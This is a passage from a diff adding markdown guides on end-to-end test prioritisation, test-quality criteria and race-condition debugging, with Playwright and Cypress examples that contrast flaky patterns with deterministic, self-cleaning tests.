await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
});
});
```
**Run tests by priority:**
```bash
# P0 only (smoke tests, 2-5 min)
npx playwright test --grep @p0
# P0 + P1 (core functionality, 10-15 min)
npx playwright test --grep "@p0|@p1"
# Full regression (all priorities, 30+ min)
npx playwright test
```
---
## Integration with Risk Scoring
Priority should align with risk score from `probability-impact.md`:
| Risk Score | Typical Priority | Rationale |
| ---------- | ---------------- | ------------------------------------------ |
| 9 | P0 | Critical blocker (probability=3, impact=3) |
| 6-8 | P0 or P1 | High risk (requires mitigation) |
| 4-5 | P1 or P2 | Medium risk (monitor closely) |
| 1-3 | P2 or P3 | Low risk (document and defer) |
**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
---
## Priority Checklist
Before finalizing test priorities:
- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
- [ ] **User impact quantified**: >50% users → P0/P1, <10% P2/P3
- [ ] **Previous failures reviewed**: Regression prevention increase priority
- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
## Integration Points
- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_

View File

@@ -0,0 +1,664 @@
# Test Quality Definition of Done
## Principle
Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
## Rationale
Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
## Pattern Examples
### Example 1: Deterministic Test Pattern
**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
**Implementation**:
```typescript
// ❌ BAD: Non-deterministic test with conditionals and hard waits
test('user can view dashboard - FLAKY', async ({ page }) => {
await page.goto('/dashboard');
await page.waitForTimeout(3000); // NEVER - arbitrary wait
// Conditional flow control - test behavior varies
if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
await page.click('[data-testid="dismiss-banner"]');
await page.waitForTimeout(500);
}
// Try-catch for flow control - hides real issues
try {
await page.click('[data-testid="load-more"]');
} catch (e) {
// Silently continue - test passes even if button missing
}
// Random data without control
const randomEmail = `user${Math.random()}@example.com`;
await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
});
// ✅ GOOD: Deterministic test with explicit waits
test('user can view dashboard', async ({ page, apiRequest }) => {
const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
// Setup via API (fast, controlled)
await apiRequest.post('/api/users', { data: user });
// Network-first: Intercept BEFORE navigate
const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
await page.goto('/dashboard');
// Wait for actual response, not arbitrary time
const dashboardResponse = await dashboardPromise;
const dashboard = await dashboardResponse.json();
// Explicit assertions with controlled data
await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
// No conditionals - test always executes same path
// No try-catch - failures bubble up clearly
});
// Cypress equivalent
describe('Dashboard', () => {
it('should display user dashboard', () => {
const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
// Setup via task (fast, controlled)
cy.task('db:seed', { users: [user] });
// Network-first interception
cy.intercept('GET', '**/api/dashboard').as('getDashboard');
cy.visit('/dashboard');
// Deterministic wait for response
cy.wait('@getDashboard').then((interception) => {
const dashboard = interception.response.body;
// Explicit assertions
cy.contains(`Welcome, ${user.name}`).should('be.visible');
cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
});
});
});
```
**Key Points**:
- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
- Never use if/else to control test flow - tests should be deterministic
- Avoid try-catch for flow control - let failures bubble up clearly
- Use factory functions with controlled data, not `Math.random()`
- Network-first pattern prevents race conditions
### Example 2: Isolated Test with Cleanup
**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
**Implementation**:
```typescript
// ❌ BAD: Test leaves data behind, pollutes other tests
test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
await page.goto('/admin/users');
// Hardcoded email - collides in parallel runs
await page.fill('[data-testid="email"]', 'newuser@example.com');
await page.fill('[data-testid="name"]', 'New User');
await page.click('[data-testid="create-user"]');
await expect(page.getByText('User created')).toBeVisible();
// NO CLEANUP - user remains in database
// Next test run fails: "Email already exists"
});
// ✅ GOOD: Test cleans up with fixture auto-cleanup
// playwright/support/fixtures/database-fixture.ts
import { test as base } from '@playwright/test';
import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
type DatabaseFixture = {
seedUser: (userData: Partial<User>) => Promise<User>;
};
export const test = base.extend<DatabaseFixture>({
seedUser: async ({}, use) => {
const createdUsers: string[] = [];
const seedUser = async (userData: Partial<User>) => {
const user = await seedDatabase('users', userData);
createdUsers.push(user.id); // Track for cleanup
return user;
};
await use(seedUser);
// Auto-cleanup: Delete all users created during test
for (const userId of createdUsers) {
await deleteRecord('users', userId);
}
createdUsers.length = 0;
},
});
// Use the fixture
test('admin can create user', async ({ page, seedUser }) => {
// Create admin with unique data
const admin = await seedUser({
email: faker.internet.email(), // Unique each run
role: 'admin',
});
await page.goto('/admin/users');
const newUserEmail = faker.internet.email(); // Unique
await page.fill('[data-testid="email"]', newUserEmail);
await page.fill('[data-testid="name"]', 'New User');
await page.click('[data-testid="create-user"]');
await expect(page.getByText('User created')).toBeVisible();
// Verify in database
const createdUser = await seedUser({ email: newUserEmail });
expect(createdUser.email).toBe(newUserEmail);
// Auto-cleanup happens via fixture teardown
});
// Cypress equivalent with explicit cleanup
describe('Admin User Management', () => {
const createdUserIds: string[] = [];
afterEach(() => {
// Cleanup: Delete all users created during test
createdUserIds.forEach((userId) => {
cy.task('db:delete', { table: 'users', id: userId });
});
createdUserIds.length = 0;
});
it('should create user', () => {
const admin = createUser({ role: 'admin' });
const newUser = createUser(); // Unique data via faker
cy.task('db:seed', { users: [admin] }).then((result: any) => {
createdUserIds.push(result.users[0].id);
});
cy.visit('/admin/users');
cy.get('[data-cy="email"]').type(newUser.email);
cy.get('[data-cy="name"]').type(newUser.name);
cy.get('[data-cy="create-user"]').click();
cy.contains('User created').should('be.visible');
// Track for cleanup
cy.task('db:findByEmail', newUser.email).then((user: any) => {
createdUserIds.push(user.id);
});
});
});
```
**Key Points**:
- Use fixtures with auto-cleanup via teardown (after `use()`)
- Track all created resources in array during test execution
- Use `faker` for unique data - prevents parallel collisions
- Cypress: Use `afterEach()` with explicit cleanup
- Never hardcode IDs or emails - always generate unique values
### Example 3: Explicit Assertions in Tests
**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
**Implementation**:
```typescript
// ❌ BAD: Assertions hidden in helper functions
// helpers/api-validators.ts
export async function validateUserCreation(response: Response, expectedEmail: string) {
const user = await response.json();
expect(response.status()).toBe(201);
expect(user.email).toBe(expectedEmail);
expect(user.id).toBeTruthy();
expect(user.createdAt).toBeTruthy();
// Hidden assertions - not visible in test
}
test('create user via API - OPAQUE', async ({ request }) => {
const userData = createUser({ email: 'test@example.com' });
const response = await request.post('/api/users', { data: userData });
// What assertions are running? Have to check helper.
await validateUserCreation(response, userData.email);
// When this fails, error is: "validateUserCreation failed" - NOT helpful
});
// ✅ GOOD: Assertions explicit in test
test('create user via API', async ({ request }) => {
const userData = createUser({ email: 'test@example.com' });
const response = await request.post('/api/users', { data: userData });
// All assertions visible - clear test intent
expect(response.status()).toBe(201);
const createdUser = await response.json();
expect(createdUser.id).toBeTruthy();
expect(createdUser.email).toBe(userData.email);
expect(createdUser.name).toBe(userData.name);
expect(createdUser.role).toBe('user');
expect(createdUser.createdAt).toBeTruthy();
expect(createdUser.isActive).toBe(true);
// When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
});
// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
// helpers/api-extractors.ts
export async function extractUserFromResponse(response: Response): Promise<User> {
const user = await response.json();
return user; // Just extracts, no assertions
}
test('create user with extraction helper', async ({ request }) => {
const userData = createUser({ email: 'test@example.com' });
const response = await request.post('/api/users', { data: userData });
// Extract data with helper (OK)
const createdUser = await extractUserFromResponse(response);
// But keep assertions in test (REQUIRED)
expect(response.status()).toBe(201);
expect(createdUser.email).toBe(userData.email);
expect(createdUser.role).toBe('user');
});
// Cypress equivalent
describe('User API', () => {
it('should create user with explicit assertions', () => {
const userData = createUser({ email: 'test@example.com' });
cy.request('POST', '/api/users', userData).then((response) => {
// All assertions visible in test
expect(response.status).to.equal(201);
expect(response.body.id).to.exist;
expect(response.body.email).to.equal(userData.email);
expect(response.body.name).to.equal(userData.name);
expect(response.body.role).to.equal('user');
expect(response.body.createdAt).to.exist;
expect(response.body.isActive).to.be.true;
});
});
});
// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
test.describe('User creation validation', () => {
const testCases = [
{ field: 'email', value: 'test@example.com', expected: 'test@example.com' },
{ field: 'name', value: 'Test User', expected: 'Test User' },
{ field: 'role', value: 'admin', expected: 'admin' },
{ field: 'isActive', value: true, expected: true },
];
for (const { field, value, expected } of testCases) {
test(`should set ${field} correctly`, async ({ request }) => {
const userData = createUser({ [field]: value });
const response = await request.post('/api/users', { data: userData });
const user = await response.json();
// Parametrized assertion - still explicit
expect(user[field]).toBe(expected);
});
}
});
```
**Key Points**:
- Never hide `expect()` calls in helper functions
- Helpers can extract/transform data, but assertions stay in tests
- Parametrized tests are acceptable for bulk validation (still explicit)
- Explicit assertions make failures actionable: "Expected X, got Y"
- Hidden assertions produce vague failures: "Helper function failed"
### Example 4: Test Length Limits
**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
**Implementation**:
```typescript
// ❌ BAD: 400-line monolithic test (truncated for example)
test('complete user journey - TOO LONG', async ({ page, request }) => {
// 50 lines of setup
const admin = createUser({ role: 'admin' });
await request.post('/api/users', { data: admin });
await page.goto('/login');
await page.fill('[data-testid="email"]', admin.email);
await page.fill('[data-testid="password"]', 'password123');
await page.click('[data-testid="login"]');
await expect(page).toHaveURL('/dashboard');
// 100 lines of user creation
await page.goto('/admin/users');
const newUser = createUser();
await page.fill('[data-testid="email"]', newUser.email);
// ... 95 more lines of form filling, validation, etc.
// 100 lines of permissions assignment
await page.click('[data-testid="assign-permissions"]');
// ... 95 more lines
// 100 lines of notification preferences
await page.click('[data-testid="notification-settings"]');
// ... 95 more lines
// 50 lines of cleanup
await request.delete(`/api/users/${newUser.id}`);
// ... 45 more lines
// TOTAL: 400 lines - impossible to understand or debug
});
// ✅ GOOD: Split into focused tests with shared fixture
// playwright/support/fixtures/admin-fixture.ts
export const test = base.extend({
adminPage: async ({ page, request }, use) => {
// Shared setup: Login as admin
const admin = createUser({ role: 'admin' });
await request.post('/api/users', { data: admin });
await page.goto('/login');
await page.fill('[data-testid="email"]', admin.email);
await page.fill('[data-testid="password"]', 'password123');
await page.click('[data-testid="login"]');
await expect(page).toHaveURL('/dashboard');
await use(page); // Provide logged-in page
// Cleanup handled by fixture
},
});
// Test 1: User creation (50 lines)
test('admin can create user', async ({ adminPage, seedUser }) => {
await adminPage.goto('/admin/users');
const newUser = createUser();
await adminPage.fill('[data-testid="email"]', newUser.email);
await adminPage.fill('[data-testid="name"]', newUser.name);
await adminPage.click('[data-testid="role-dropdown"]');
await adminPage.click('[data-testid="role-user"]');
await adminPage.click('[data-testid="create-user"]');
await expect(adminPage.getByText('User created')).toBeVisible();
await expect(adminPage.getByText(newUser.email)).toBeVisible();
// Verify in database
const created = await seedUser({ email: newUser.email });
expect(created.role).toBe('user');
});
// Test 2: Permission assignment (60 lines)
test('admin can assign permissions', async ({ adminPage, seedUser }) => {
const user = await seedUser({ email: faker.internet.email() });
await adminPage.goto(`/admin/users/${user.id}`);
await adminPage.click('[data-testid="assign-permissions"]');
await adminPage.check('[data-testid="permission-read"]');
await adminPage.check('[data-testid="permission-write"]');
await adminPage.click('[data-testid="save-permissions"]');
await expect(adminPage.getByText('Permissions updated')).toBeVisible();
// Verify permissions assigned
const response = await adminPage.request.get(`/api/users/${user.id}`);
const updated = await response.json();
expect(updated.permissions).toContain('read');
expect(updated.permissions).toContain('write');
});
// Test 3: Notification preferences (70 lines)
test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
const user = await seedUser({ email: faker.internet.email() });
await adminPage.goto(`/admin/users/${user.id}/notifications`);
await adminPage.check('[data-testid="email-notifications"]');
await adminPage.uncheck('[data-testid="sms-notifications"]');
await adminPage.selectOption('[data-testid="frequency"]', 'daily');
await adminPage.click('[data-testid="save-preferences"]');
await expect(adminPage.getByText('Preferences saved')).toBeVisible();
// Verify preferences
const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
const prefs = await response.json();
expect(prefs.emailEnabled).toBe(true);
expect(prefs.smsEnabled).toBe(false);
expect(prefs.frequency).toBe('daily');
});
// TOTAL: 3 tests × 60 lines avg = 180 lines
// Each test is focused, debuggable, and under 300 lines
```
**Key Points**:
- Split monolithic tests into focused scenarios (<300 lines each)
- Extract common setup into fixtures (auto-runs for each test)
- Each test validates one concern (user creation, permissions, preferences)
- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
- Tests can run in parallel (isolated concerns)
### Example 5: Execution Time Optimization
**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
**Implementation**:
```typescript
// ❌ BAD: 4-minute test (slow setup, sequential operations)
test('user completes order - SLOW (4 min)', async ({ page }) => {
// Step 1: Manual signup via UI (90 seconds)
await page.goto('/signup');
await page.fill('[data-testid="email"]', 'buyer@example.com');
await page.fill('[data-testid="password"]', 'password123');
await page.fill('[data-testid="confirm-password"]', 'password123');
await page.fill('[data-testid="name"]', 'Buyer User');
await page.click('[data-testid="signup"]');
await page.waitForURL('/verify-email'); // Wait for email verification
// ... manual email verification flow
// Step 2: Manual product creation via UI (60 seconds)
await page.goto('/admin/products');
await page.fill('[data-testid="product-name"]', 'Widget');
// ... 20 more fields
await page.click('[data-testid="create-product"]');
// Step 3: Navigate to checkout (30 seconds)
await page.goto('/products');
await page.waitForTimeout(5000); // Unnecessary hard wait
await page.click('[data-testid="product-widget"]');
await page.waitForTimeout(3000); // Unnecessary
await page.click('[data-testid="add-to-cart"]');
await page.waitForTimeout(2000); // Unnecessary
// Step 4: Complete checkout (40 seconds)
await page.goto('/checkout');
await page.waitForTimeout(5000); // Unnecessary
await page.fill('[data-testid="credit-card"]', '4111111111111111');
// ... more form filling
await page.click('[data-testid="submit-order"]');
await page.waitForTimeout(10000); // Unnecessary
await expect(page.getByText('Order Confirmed')).toBeVisible();
// TOTAL: ~240 seconds (4 minutes)
});
// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
test('user completes order', async ({ page, apiRequest }) => {
// Step 1: API setup (parallel, 5 seconds total)
const [user, product] = await Promise.all([
// Create user via API (fast)
apiRequest
.post('/api/users', {
data: createUser({
email: 'buyer@example.com',
emailVerified: true, // Skip verification
}),
})
.then((r) => r.json()),
// Create product via API (fast)
apiRequest
.post('/api/products', {
data: createProduct({
name: 'Widget',
price: 29.99,
stock: 10,
}),
})
.then((r) => r.json()),
]);
// Step 2: Auth setup via storage state (instant, 0 seconds)
await page.context().addCookies([
{
name: 'auth_token',
value: user.token,
domain: 'localhost',
path: '/',
},
]);
// Step 3: Network-first interception BEFORE navigation (10 seconds)
const cartPromise = page.waitForResponse('**/api/cart');
const orderPromise = page.waitForResponse('**/api/orders');
await page.goto(`/products/${product.id}`);
await page.click('[data-testid="add-to-cart"]');
await cartPromise; // Deterministic wait (no hard wait)
// Step 4: Checkout with network waits (30 seconds)
await page.goto('/checkout');
await page.fill('[data-testid="credit-card"]', '4111111111111111');
await page.fill('[data-testid="cvv"]', '123');
await page.fill('[data-testid="expiry"]', '12/25');
await page.click('[data-testid="submit-order"]');
await orderPromise; // Deterministic wait (no hard wait)
await expect(page.getByText('Order Confirmed')).toBeVisible();
await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
// TOTAL: ~45 seconds (6x faster)
});
// Cypress equivalent
describe('Order Flow', () => {
it('should complete purchase quickly', () => {
// Step 1: API setup (parallel, fast)
const user = createUser({ emailVerified: true });
const product = createProduct({ name: 'Widget', price: 29.99 });
cy.task('db:seed', { users: [user], products: [product] });
// Step 2: Auth setup via session (instant)
cy.setCookie('auth_token', user.token);
// Step 3: Network-first interception
cy.intercept('POST', '**/api/cart').as('addToCart');
cy.intercept('POST', '**/api/orders').as('createOrder');
cy.visit(`/products/${product.id}`);
cy.get('[data-cy="add-to-cart"]').click();
cy.wait('@addToCart'); // Deterministic wait
// Step 4: Checkout
cy.visit('/checkout');
cy.get('[data-cy="credit-card"]').type('4111111111111111');
cy.get('[data-cy="cvv"]').type('123');
cy.get('[data-cy="expiry"]').type('12/25');
cy.get('[data-cy="submit-order"]').click();
cy.wait('@createOrder'); // Deterministic wait
cy.contains('Order Confirmed').should('be.visible');
cy.contains(`Order #${product.id}`).should('be.visible');
});
});
// Additional optimization: Shared auth state (0 seconds per test)
// playwright/support/global-setup.ts
export default async function globalSetup() {
const browser = await chromium.launch();
const page = await browser.newPage();
// Create admin user once for all tests
const admin = createUser({ role: 'admin', emailVerified: true });
await page.request.post('/api/users', { data: admin });
// Login once, save session
await page.goto('/login');
await page.fill('[data-testid="email"]', admin.email);
await page.fill('[data-testid="password"]', 'password123');
await page.click('[data-testid="login"]');
// Save auth state for reuse
await page.context().storageState({ path: 'playwright/.auth/admin.json' });
await browser.close();
}
// Use shared auth in tests (instant)
test.use({ storageState: 'playwright/.auth/admin.json' });
test('admin action', async ({ page }) => {
// Already logged in - no auth overhead (0 seconds)
await page.goto('/admin');
// ... test logic
});
```
**Key Points**:
- Use API for data setup (10-50x faster than UI)
- Run independent operations in parallel (`Promise.all`)
- Replace hard waits with deterministic waits (`waitForResponse`)
- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
- Skip unnecessary flows (email verification, multi-step signups)
## Integration Points
- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
- **Related fragments**:
- `network-first.md` - Deterministic waiting strategies
- `data-factories.md` - Isolated, parallel-safe data patterns
- `fixture-architecture.md` - Setup extraction and cleanup
- `test-levels-framework.md` - Choosing appropriate test granularity for speed
## Core Quality Checklist
Every test must pass these criteria:
- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._

View File

@@ -0,0 +1,372 @@
# Timing Debugging and Race Condition Fixes
## Principle
Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
## Rationale
**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
**Why This Matters**:
- Eliminates flaky tests (0 tolerance for timing-based failures)
- Works consistently across environments (local, CI, production-like)
- Faster test execution (no unnecessary waits)
- Clearer test intent (explicit about what we're waiting for)
## Pattern Examples
### Example 1: Race Condition Identification (Network-First Pattern)
**Context**: Prevent race conditions by intercepting network requests before navigation
**Implementation**:
```typescript
// tests/timing/race-condition-prevention.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Race Condition Prevention Patterns', () => {
test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
// BAD: Navigation starts before interception ready
await page.goto('/products'); // ⚠️ Race! API might load before route is set
await context.route('**/api/products', (route) => {
route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
});
// Test may see real API response or mock (non-deterministic)
});
test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
// GOOD: Interception ready before navigation
await context.route('**/api/products', (route) => {
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({
products: [
{ id: 1, name: 'Product A', price: 29.99 },
{ id: 2, name: 'Product B', price: 49.99 },
],
}),
});
});
const responsePromise = page.waitForResponse('**/api/products');
await page.goto('/products'); // Navigation happens AFTER route is ready
await responsePromise; // Explicit wait for network
// Test sees mock response reliably (deterministic)
await expect(page.getByText('Product A')).toBeVisible();
});
test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
await page.goto('/dashboard');
// Wait for loading indicator to appear (confirms load started)
await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
// Wait for loading indicator to disappear (confirms load complete)
await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
// Content now reliably visible
await expect(page.getByTestId('dashboard-data')).toBeVisible();
});
test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
await page.goto('/modal-demo');
await page.getByRole('button', { name: 'Open Modal' }).click();
// ❌ Bad: Element exists but may not be visible yet
// await expect(page.getByTestId('modal')).toBeAttached()
// ✅ Good: Wait for visibility (accounts for animations)
await expect(page.getByTestId('modal')).toBeVisible();
await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
});
test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
// ⚠️ Deprecated for SPAs (WebSocket connections never idle)
// await page.goto('/dashboard')
// await page.waitForLoadState('networkidle') // May timeout in SPAs
// ✅ Better: Wait for specific API response
const responsePromise = page.waitForResponse('**/api/dashboard');
await page.goto('/dashboard');
await responsePromise;
await expect(page.getByText('Dashboard loaded')).toBeVisible();
});
});
```
**Key Points**:
- Network-first: ALWAYS intercept before navigate (prevents race conditions)
- State changes: Wait for loading spinner detached (explicit load completion)
- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
- Explicit waits: Document exactly what we're waiting for
---
### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
**Context**: Replace all hard waits with observable event waits
**Implementation**:
```typescript
// tests/timing/deterministic-waits.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Deterministic Waiting Patterns', () => {
test('waitForResponse() with URL pattern', async ({ page }) => {
const responsePromise = page.waitForResponse('**/api/products');
await page.goto('/products');
await responsePromise; // Deterministic (waits for exact API call)
await expect(page.getByText('Products loaded')).toBeVisible();
});
test('waitForResponse() with predicate function', async ({ page }) => {
const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
await page.goto('/search');
await page.getByPlaceholder('Search').fill('laptop');
await page.getByRole('button', { name: 'Search' }).click();
await responsePromise; // Wait for successful search response
await expect(page.getByTestId('search-results')).toBeVisible();
});
test('waitForFunction() for custom conditions', async ({ page }) => {
await page.goto('/dashboard');
// Wait for custom JavaScript condition
await page.waitForFunction(() => {
const element = document.querySelector('[data-testid="user-count"]');
return element && parseInt(element.textContent || '0') > 0;
});
// User count now loaded
await expect(page.getByTestId('user-count')).not.toHaveText('0');
});
test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
await page.goto('/products');
// Wait for element to be attached to DOM
await page.getByTestId('product-list').waitFor({ state: 'attached' });
// Wait for element to be visible (animations complete)
await page.getByTestId('product-list').waitFor({ state: 'visible' });
// Perform action
await page.getByText('Product A').click();
// Wait for modal to be hidden (close animation complete)
await page.getByTestId('modal').waitFor({ state: 'hidden' });
});
test('Cypress: cy.wait() with aliased intercepts', async () => {
// Cypress example (not Playwright)
/*
cy.intercept('GET', '/api/products').as('getProducts')
cy.visit('/products')
cy.wait('@getProducts') // Deterministic wait for specific request
cy.get('[data-testid="product-list"]').should('be.visible')
*/
});
});
```
**Key Points**:
- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
- `waitForFunction()`: Wait for custom JavaScript conditions
- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
- All waits are event-based (not time-based)
---
### Example 3: Timing Anti-Patterns (What NEVER to Do)
**Context**: Common timing mistakes that cause flakiness
**Problem Examples**:
```typescript
// tests/timing/anti-patterns.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Timing Anti-Patterns to Avoid', () => {
test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Bad: Arbitrary 3-second wait (flaky)
// await page.waitForTimeout(3000)
// Problem: Might be too short (CI slower) or too long (wastes time)
// ✅ Good: Wait for observable event
await page.waitForResponse('**/api/dashboard');
await expect(page.getByText('Dashboard loaded')).toBeVisible();
});
test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
// Cypress example
/*
// ❌ Bad: Arbitrary delay
cy.visit('/products')
cy.wait(2000) // Flaky!
// ✅ Good: Wait for specific request
cy.intercept('GET', '/api/products').as('getProducts')
cy.visit('/products')
cy.wait('@getProducts') // Deterministic
*/
});
test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
await page.goto('/checkout');
// ❌ Bad: Stacked hard waits (6+ seconds wasted)
// await page.waitForTimeout(2000) // Wait for form
// await page.getByTestId('email').fill('test@example.com')
// await page.waitForTimeout(1000) // Wait for validation
// await page.getByTestId('submit').click()
// await page.waitForTimeout(3000) // Wait for redirect
// ✅ Good: Event-based waits (no wasted time)
await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
await page.getByTestId('email').fill('test@example.com');
await page.waitForResponse('**/api/validate-email');
await page.getByTestId('submit').click();
await page.waitForURL('**/confirmation');
});
test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
// ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
// await page.goto('/dashboard')
// await page.waitForLoadState('networkidle') // Timeout in SPAs!
// ✅ Good: Wait for specific API responses
await page.goto('/dashboard');
await page.waitForResponse('**/api/dashboard');
await page.waitForResponse('**/api/user');
await expect(page.getByTestId('dashboard-content')).toBeVisible();
});
test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
await page.goto('/products');
// ❌ Bad: Node.js sleep (blocks test thread)
// await new Promise(resolve => setTimeout(resolve, 2000))
// ✅ Good: Playwright auto-waits for element
await expect(page.getByText('Products loaded')).toBeVisible();
});
});
```
**Why These Fail**:
- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
- **Stacked waits**: Compound delays (wasteful, unreliable)
- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
**Better Approach**: Use event-based waits from examples above
---
## Async Debugging Techniques
### Technique 1: Promise Chain Analysis
```typescript
test('debug async waterfall with console logs', async ({ page }) => {
console.log('1. Starting navigation...');
await page.goto('/products');
console.log('2. Waiting for API response...');
const response = await page.waitForResponse('**/api/products');
console.log('3. API responded:', response.status());
console.log('4. Waiting for UI update...');
await expect(page.getByText('Products loaded')).toBeVisible();
console.log('5. Test complete');
// Console output shows exactly where timing issue occurs
});
```
### Technique 2: Network Waterfall Inspection (DevTools)
```typescript
test('inspect network timing with trace viewer', async ({ page }) => {
await page.goto('/dashboard');
// Generate trace for analysis
// npx playwright test --trace on
// npx playwright show-trace trace.zip
// In trace viewer:
// 1. Check Network tab for API call timing
// 2. Identify slow requests (>1s response time)
// 3. Find race conditions (overlapping requests)
// 4. Verify request order (dependencies)
});
```
### Technique 3: Trace Viewer for Timing Visualization
```typescript
test('use trace viewer to debug timing', async ({ page }) => {
// Run with trace: npx playwright test --trace on
await page.goto('/checkout');
await page.getByTestId('submit').click();
// In trace viewer, examine:
// - Timeline: See exact timing of each action
// - Snapshots: Hover to see DOM state at each moment
// - Network: Identify slow/failed requests
// - Console: Check for async errors
await expect(page.getByText('Success')).toBeVisible();
});
```
---
## Race Condition Checklist
Before deploying tests:
- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
